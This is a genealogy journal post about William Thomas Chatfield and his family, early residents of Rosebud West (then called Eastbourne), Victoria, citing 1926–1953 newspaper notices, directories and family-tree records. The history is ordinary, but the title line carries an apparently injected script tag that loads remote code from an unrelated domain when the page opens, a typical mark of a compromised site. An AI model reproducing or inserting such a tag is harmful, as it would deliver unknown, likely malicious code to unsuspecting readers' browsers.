WILLIAM THOMAS CHATFIELD AND HIS FAMILY, PIONEERS BY 1926 OF ROSEBUD WEST, VIC., AUST. WHEN LOCALS CALLED THE AREA EASTBOURNE.<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
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WILLIAM THOMAS CHATFIELD AND HIS FAMILY, PIONEERS BY 1926 OF ROSEBUD WEST, VIC., AUST. WHEN LOCALS CALLED THE AREA EASTBOURNE.

Journal by itellya

William Chatfield, William Trueman, David Cairns and Co. would have laughed if anybody at the 1926 meeting had suggested that the area between Rosebud and Rye should be called Capel Sound. I refuse to call the area Capel Sound (now the official name of the suburb) lest people think I'm talking about the deep water anchorage stretching from the Sorrento and Rye channels near Blairgowrie to Mount Martha Point and about a mile offshore from Rosebud West. At least the people who proposed the stupid new name didn't want to change the names of Eastbourne Road and Eastbourne Primary School. "Eastbourne" on the south side of Eastbourne Rd between house blocks on the west side of Balaka St and Elizabeth Avenue, largely occupied today by the Village Glen, was only 1000 links (200 metres) from the beach at its north west corner.

On the beach side of Eastbourne Rd directly opposite "Eastbourne" was crown allotment 53 Wannaeue granted to lime merchant, William Allison Blair. He became insolvent and moved from Melway 28 J4 to a farm on the site of the Medway Golf Course (27 F9.) Blair's grants between Elizabeth Avenue and Truemans Rd were bought by the Zichy-Woinarski family which built the heritage-listed Woyna House at 9-11 Terry St and operated the 419 acres as a dairy farm. The land was later subdivided as the Woyna Estate.

Crown allotment 53 was sold in allotments, probably by Blair's assignee. "Two of these parcels were purchased and consolidated in 1923-4 by Mrs Alice Fielding (who is believed to have been a descendant of William Blair) and in 1941 she subdivided the land as it is today."
"Fielding Rd became (a rat run to avoid the congestion that still exists today, so) Fielding Rd was closed at the Eastbourne Rd end, gazetted on 2-11-1983, and the Woodthorpe Bushland Reserve there was gazetted in 2003."
(P. 192-4, STORIES OF ROSEBUD WEST, Bettyanne Foster, November 2016.)

Also on C/A 53, east of the Woodthorpe Estate to Chinamans Creek, are Chatfield Avenue and Capel Avenue. The latter was named by James Sloss whose name does not appear in the index of Bettyanne's book but he is discussed under Leisureland on pages 33-4. In the 1950's Leisureland was subdivided with Capel Avenue providing access to the blocks. Sloss provided land for the bowling club so it is fitting that when it was relocated to the Vern Wright Reserve, a green was named in his honour. After retiring as operator of Leisureland, James Sloss continued to run the post office at Rosebud West, which according to page 55 of Bettyanne's book was today's SOUND BAR (formerly the Capel Sound.)N.B.AS POINTED OUT BY BETTYANNE, PETER WILSON'S "ON THE ROAD TO ROSEBUD" HAS EXTENSIVE INFORMATION ABOUT JAMES SLOSS AND LEISURELAND. I BELIEVE THAT PETER RAN THE POST OFFICE FOR SLOSS.

The following was written by me yesterday as a post on the HISTORY OF DROMANA TO PORTSEA Facebook group page.

A HOLE IN ROSEBUD WEST'S HISTORY: THE CHATFIELDS.
Lime , Land, Leisure states that Chatfield of Rosebud West was one of the earlyish fishermen and may have stated that his fishing right and cottage on the foreshore was taken over by (a Swede named Alex Vincent?) Vin Burnham mentioned Alex in one of his anecdotes but couldn't remember his surname. I can think of nobody else but C.N.Hollinshed who would have supplied the surname and I think that Vin (Owen) must have mentioned his place of origin.

I had never mentioned Chatfield to Bettyanne Foster so it is not surprising that there is no mention of the Chatfields in her STORIES OF ROSEBUD WEST.

I must have mentioned something about Chatfield having been a fisherman at Rosebud West on this page soon after I joined the group and this was disputed by a member who remembered him as a storekeeper and stated that he built the tattoo parlour which is on the same block of land as the house shown in the photo posted on 28-1-2017 by Bruce Jones (and now back to the top of the page due to comments.)

Mr Chatfield was most likely William Chatfield and he could well have been a fisherman in his younger days before the aforesaid member moved to Rosebud West. While Bettyanne Foster had much detail about the Woodthorpe Estate and James Sloss of Leisureland, very little has been published about the Chatfields so hopefully some of the true locals can provide some information.

Here's a start.

CHATFIELD, Nellie Phoebe. -On June 29, at her residence,Chatfield avenue, West Rosebud, beloved wife of William, and loving mother of Stella, aged 71 years.
(P.11, Argus, 30-6-1953.)

This could well be the house shown in Bruce's photo but it could also be the Chatfield residence in Chatfield Avenue. Was William moving away to live with his daughter, Stella?

Stella was still at Rosebud West in 1950 if she was the S.Chatfield listed in the 1950 directory and no marriage notice has been found for her.

TO LET. — Furnished, accom. 7, close beach, West Rosebud, sew.,,H.W.S. Vacant from Jan. 9. Chatfield. West Rosebud.(P.54, The Age, 5-12-1953.)

And that's all that Trove has for "Chatfield, West Rosebud."

It came as a shock to find that Rosebud West was known by that name BEFORE it was referred to as West Rosebud!
HOUSE to Let, furn.,, accom. 9 persons. Chatfield, Rosebud West. (P.10, The Age, 3-2-1940.)

LOST Friday bet St Kilda Rosebud Black Pom answers Ponto Reward Chatfield, Rosebud West. (P.10, Argus, 16-10-1940.)

It came as no surprise that when William Chatfield and other pioneers of the area between Rosebud and Rye had to come up with a name for that area in 1926 they did a lot better than to name it after a deep water anchorage at least a mile away in the Bay and extending from Blairgowrie to Mt. Martha Point (Capel Sound).

As I'd run out of results for the Chatfields, there being no death notice re William and only a suspicion that his daughter, Stella, was named after a Mrs H.Chatfield of St Kilda whose maiden name was GIACOMETTI), the naming of Eastbourne in 1926 remained my only hope of finding more information about the Chatfields.

At a public meeting held at Eastbourne a committee of management, consisting of Messrs D Cairns, W. Chatfield, F Luscombe, and W.Truman, was formed to take over control of portion of the foreshore between Rye and Rosebud, it was decided to name the locality Eastbourne.(P.15, Argus, 23-6-1926.)

The Sands and McDougall directory of 1950 lists W.T. and S. Chatfield as storekeepers of Rosebud West.

Victorian BDM is still offline for maintenance but I've managed to find a few details.

Nellie Phoebe Boxshall Chatfield
BIRTH 30 Oct 1882 Carlton, Melbourne City, Victoria, Australia
DEATH 29 Jun 1953 Rosebud, Mornington Peninsula Shire, Victoria, Australia
BURIAL* Rye Cemetery and Memorial Gardens Rye, Mornington Peninsula Shire, Victoria, Australia (https://www.findagrave.com/memorial/125557401)

* There is no record of any Chatfield burials on http://www.australiancemeteries.com.au/…/morn…/ryeafdata.htm

CHATFIELD, Stella Louisa[1]
Female 1901 - 1991 (90 years)
Name CHATFIELD, Stella Louisa
Born 1901 Carlton, Victoria, Australia
Gender Female
Died 31 May 1991 Frankston, Victoria, Australia
Person ID P991 Sullivan Genealogy
Last Modified 15 Oct 2017

Father CHATFIELD, William Thomas, b. 9 Dec 1881, Albury, NSW, Australia, d. 24 Jun 1961, Rosebud West, Victoria, Australia (Age 79 years)
Relationship natural

Mother BOXSHALL, Nellie Phoebe, b. 30 Oct 1882, Carlton, Victoria, Australia d. 29 Jun 1953, Victoria, Australia (Age 70 years)
Relationship natural
Married 27 Apr 1901 Victoria, Australia
Family ID F191 Group Sheet | Family Chart
(http://sullivan.be/getperson.php?personID=P991&tree=tree1)

NOW, OVER TO THE TRUE LOCALS!
Useful comments posted so far.

Mal Boag No Chatfields enrolled at Rosebud State School between 1884-1970. Presumably any children attended Rye.

ME. Thanks Mal Boag. The first documentary evidence of William Thomas Chatfield being at Rosebud West was in 1926 and he had probably been there for a few years. However, Stella, apparently his only child, was born in 1901 so her education was probably well in the past before the family's arrival in the area. William's wife was buried at Rye but there is no record of it on .

Surnames: BLAIR BOXSHALL FIELDING SLOSS WOINARSKI
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by itellya Profile | Research | Contact | Subscribe | Block this user
on 2017-12-29 02:58:18

Itellya is researching local history on the Mornington Peninsula and is willing to help family historians with information about the area between Somerville and Blairgowrie. He has extensive information about Henry Gomm of Somerville, Joseph Porta (Victoria's first bellows manufacturer) and Captain Adams of Rosebud.

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